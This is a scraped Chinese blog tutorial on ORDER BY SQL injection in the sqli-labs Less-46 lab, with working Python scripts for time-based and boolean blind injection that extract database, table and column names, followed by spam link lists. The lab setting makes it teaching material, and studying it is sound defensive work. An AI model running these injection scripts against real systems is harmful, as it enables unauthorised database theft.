当前位置: 首页 > wzjs >正文

福建省建建设行业信用评分网站营销心得体会感悟300字

福建省建建设行业信用评分网站,营销心得体会感悟300字,广州网站seo地址,flash网站模板中心引言 在SQL注入攻击中,ORDER BY注入是一种容易被忽视但危害极大的漏洞类型。与传统的UNION或WHERE注入不同,ORDER BY参数通常无法直接返回查询结果,攻击者需要依赖**盲注(Blind SQLi)**技术逐字符提取数据。本文将结合…

引言

在SQL注入攻击中,`ORDER BY`注入是一种容易被忽视但危害极大的漏洞类型。与传统的`UNION`或`WHERE`注入不同,`ORDER BY`参数通常无法直接返回查询结果,攻击者需要依赖**盲注(Blind SQLi)**技术逐字符提取数据。本文将结合一段Python多线程注入脚本,深入解析这一攻击的实现原理。

一、漏洞背景:ORDER BY注入的原理

ORDER BY子句用于对查询结果排序,其参数通常为列名或列序号。当后端未对用户输入的排序参数(如sort=1)进行过滤时,攻击者可构造恶意Payload,利用时间盲注(Time-Based Blind)逐步泄露数据。

漏洞示例URL:

url = 'http://127.0.0.1/sqlilabs/Less-46/index.php'

参数sort存在注入点,例如:

http://127.0.0.1/sqlilabs/Less-46/index.php?sort=1

二、攻击脚本解析

完整代码附上:

import requests
import time
import concurrent.futuresdef get_char_at_position(url, position):low, high = 32, 128while low < high:mid = (low + high) // 2payload = f"if((ascii(substr(database(),{position},1))>{mid}),sleep(1),1)" #暴数据库名#暴表名#多行改limit截取# payload = f"if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),{position},1))>{mid},sleep(1),1)"#暴列名# payload = f"if(ascii(substr((SELECT COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = 'security' AND TABLE_NAME = 'emails' LIMIT 1),{position},1))>{mid},sleep(1),1)"params = {"sort": payload}start_time = time.time()try:r = requests.get(url, params=params, timeout=20)except requests.Timeout:return position, Noneend_time = time.time()if end_time - start_time >= 1:low = mid + 1else:high = midreturn position, chr(low) if low >= 32 else Nonedef inject_database_multithread(url):name = [''] * 20  # 假设最大长度 20with concurrent.futures.ThreadPoolExecutor(max_workers=5) as executor:futures = {executor.submit(get_char_at_position, url, i): i for i in range(1, 21)}for future in concurrent.futures.as_completed(futures):pos, char = future.result()if char:name[pos-1] = charprint(f"Progress: {''.join(name)}")return ''.join(name).strip('\x00')if __name__ == "__main__":url = 'http://127.0.0.1/sqlilabs/Less-46/index.php'database_name = inject_database_multithread(url)print("Database name:", database_name)

 核心代码分析

1. 二分法逐字符爆破(`get_char_at_position`函数)

def get_char_at_position(url, position):low, high = 32, 128  # ASCII可打印字符范围while low < high:mid = (low + high) // 2# 构造Payload,根据字符ASCII值二分判断payload = f"if(ascii(substr((SELECT ... LIMIT 1),{position},1))>{mid},sleep(1),1)"params = {"sort": payload}# 发送请求并测量响应时间start_time = time.time()r = requests.get(url, params=params, timeout=20)elapsed = time.time() - start_time# 根据是否触发sleep(1)调整二分区间if elapsed >= 1:low = mid + 1else:high = midreturn chr(low)

二分查找:将字符ASCII值范围(32-128)不断二分,通过响应时间判断字符的真实值。
时间盲注:利用`if(condition, sleep(1), 1)`,若条件为真则延迟1秒。

2. 多线程加速(`inject_database_multithread`函数)

with concurrent.futures.ThreadPoolExecutor(max_workers=5) as executor:futures = {executor.submit(get_char_at_position, url, i): i for i in range(1, 21)}

使用线程池并发爆破不同位置的字符,理论上速度提升**N倍**(N为线程数)。

3. 切换Payload目标

# 爆破数据库名
payload = f"if((ascii(substr(database(),{position},1))>{mid}),sleep(1),1)"# 爆破security库的表名(需修改LIMIT)
payload = f"if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),{position},1))>{mid},sleep(1),1)"# 爆破emails表的列名
payload = f"if(ascii(substr((SELECT COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = 'security' AND TABLE_NAME = 'emails' LIMIT 1),{position},1))>{mid},sleep(1),1)"


通过修改`LIMIT`偏移遍历所有表或列。

 三、攻击效果演示

运行脚本后,输出如下:

四、布尔盲注

代码与时间盲注类似,仅需要改掉二分法的判断,如下:

import requests
from urllib.parse import urlencode
from bs4 import BeautifulSoup
url1="http://127.0.0.1/sqli-labs/Less-46/index.php"
def orderby_inject_database(url1):name = ''for i in range(1, 100):low = 32high = 128mid = (low + high) // 2while low < high:payload = "rand(ascii(mid((select database()),%d,1)) > %d)" % (i, mid)res = {"sort": payload}r = requests.get(url1, params=res)# if 'You are in...........' in r.text:html = r.textsoup = BeautifulSoup(html,'html.parser')getUsername = soup.find_all('td')[1].textif getUsername == "admin3":low = mid + 1else:high = midmid = (low + high) // 2if mid == 32:breakname += chr(mid)print(name)
orderby_inject_database(url1)

五、其他攻击方式

参考文章:SQL-Labs靶场“46-50”关通关教程_sqli-labs50-CSDN博客


文章转载自:

http://YVifIWKv.yxmcx.cn
http://LmLtMJpA.yxmcx.cn
http://Pe77O2LS.yxmcx.cn
http://phoMTL5T.yxmcx.cn
http://b2fUIYUz.yxmcx.cn
http://6rQGdwq7.yxmcx.cn
http://MyKTSzCe.yxmcx.cn
http://4dXaIOWP.yxmcx.cn
http://nAeZxpuG.yxmcx.cn
http://v7801opP.yxmcx.cn
http://0Cn7ffV8.yxmcx.cn
http://cugYeBVP.yxmcx.cn
http://kOjdkoIk.yxmcx.cn
http://HWypNEPy.yxmcx.cn
http://54WjXndT.yxmcx.cn
http://keY809jg.yxmcx.cn
http://NsV5K0NU.yxmcx.cn
http://kM7NqPGV.yxmcx.cn
http://DqjWWhMm.yxmcx.cn
http://T8JApt9f.yxmcx.cn
http://TyXfV3Ay.yxmcx.cn
http://vUVqewJ7.yxmcx.cn
http://eBxZlRVr.yxmcx.cn
http://AAcUZiei.yxmcx.cn
http://E4Cib6cN.yxmcx.cn
http://NkEoNbU2.yxmcx.cn
http://Bf9tEtNk.yxmcx.cn
http://35vdPuaw.yxmcx.cn
http://ZoqZziTc.yxmcx.cn
http://Syek10eK.yxmcx.cn
http://www.dtcms.com/wzjs/681353.html

相关文章:

  • 凡诺网站下载付费阅读wordpress主题
  • 卫浴网站怎么做网页设计课程心得体会
  • 保靖网站建设天津高端网站
  • 蓝色经典通用网站模板html源码下载蓝色高科技网站模板
  • 六年级上册如何做网站顶尖设计
  • 百度推广一个月多少钱北京云无限优化
  • 怎么自己做推广网站辽宁工程新希望官网
  • 淮南建设厅网站长沙那个手机建网站公司好
  • 程序设计教学网站开发营销策划公司简介范文
  • 广告设计专业学校买网站做seo
  • 最好的响应式网站有哪些免费设计的网站
  • 网站后台服务购买平台有哪些
  • 自己有网站做app吗网络推广培训公司
  • 网站怎么申请微博登录vs进行网站建设
  • 做网站方案网站开发与移动互联
  • 北京站网站建设ps培训班一般学费多少钱
  • 金华做网站报价上海最新发布
  • 宁波品牌网站公司排名专业网站制作公司排名
  • 鞍山 中企动力提供网站建设免费看黄金的软件
  • 湖南建设厅网站证书查询做个平台网站怎么做
  • 微企业网站模板免费申请域名需要多久
  • 青岛做网站建网站wordpress主题显示不
  • 德宏芒市建设局网站微网站首页
  • app商城需要手机网站吗河南红旗渠建设集团网站
  • 海口网站wordpress文章字符插件
  • 购物网站建设 费用三大门户网站
  • 做UI设计的网站辽宁网站建设学校
  • 建设网站公司选哪家好dz整站网站建设
  • 怎么做app网站ui原型做网站公司法人还要拍照吗
  • 万网怎样做网站调试网站建设的基本